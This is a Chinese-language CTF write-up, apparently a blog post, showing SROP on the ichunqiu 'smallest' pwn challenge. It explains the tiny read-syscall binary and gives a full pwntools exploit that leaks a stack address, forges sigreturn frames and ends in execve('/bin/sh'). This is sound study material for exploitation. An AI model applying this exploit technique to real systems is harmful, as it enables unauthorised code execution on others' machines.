栈-SROP

CTFWIKI-SROP

例题是ichunqiu的一道pwn-smallest。

IDA打开,只有几行汇编,题如其名。

1
2
3
4
5
6
7
8
9
public start
start proc near
xor rax, rax
mov edx, 400h
mov rsi, rsp
mov rdi, rax
syscall
retn
start endp

调用syscall之前,rax=0rdi=0rsi=rspedx=0x400

可知执行的是0号syscall,即read(0,$rsp,400),产生了栈溢出

同时read函数读取的字节数会返回到rax中,如果跳过执行xor rax, rax就可以利用这一点设置rax的值执行想要的syscall。

最后retn会使得rip=[rsp] rsp=rsp+8

exp:

1
# -*- coding:utf-8 -*- # 
from pwn import *
elf = ELF('./stack-5.')
sh = process('./stack-5.')
context.arch = 'amd64'
syscall_addr = 0x4000be
start_addr = 0x4000b0
payload = ""
payload += p64(start_addr)*3              
sh.send(payload)
#返回到start,因为之后要通过read返回值修改rax,所以先把之后的返回地址也布置好
sleep(3)
sh.send('\xb3')
#修改返回地址为0x4000b3,跳过xor,rax的值为1
#执行write(1,rsp,0x400)
stack_addr = u64(sh.recv()[8:16])
print 'stack addr :'+str(hex(stack_addr))
#接收rsp地址
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_addr
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
#read(0,stack_addr_,0x400)
sh.send(payload)
#修改signal Frame,返回到start
sigreturn = p64(syscall_addr) + '\x00' * 7
#rax=15,执行sigreturn
sh.send(sigreturn)
#返回到syscall
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 #/bin/sh存放地址 
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_addr
frame_payload = p64(start_addr) + 'a' * 8 + str(sigframe)
#execve('/bin/sh',0,0)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
#把/bin/sh读到rsp+0x120
sh.send(payload)
#修改signal Frame,返回到start
sh.send(sigreturn)
#执行sigreturn
sh.interactive()
文章目录
|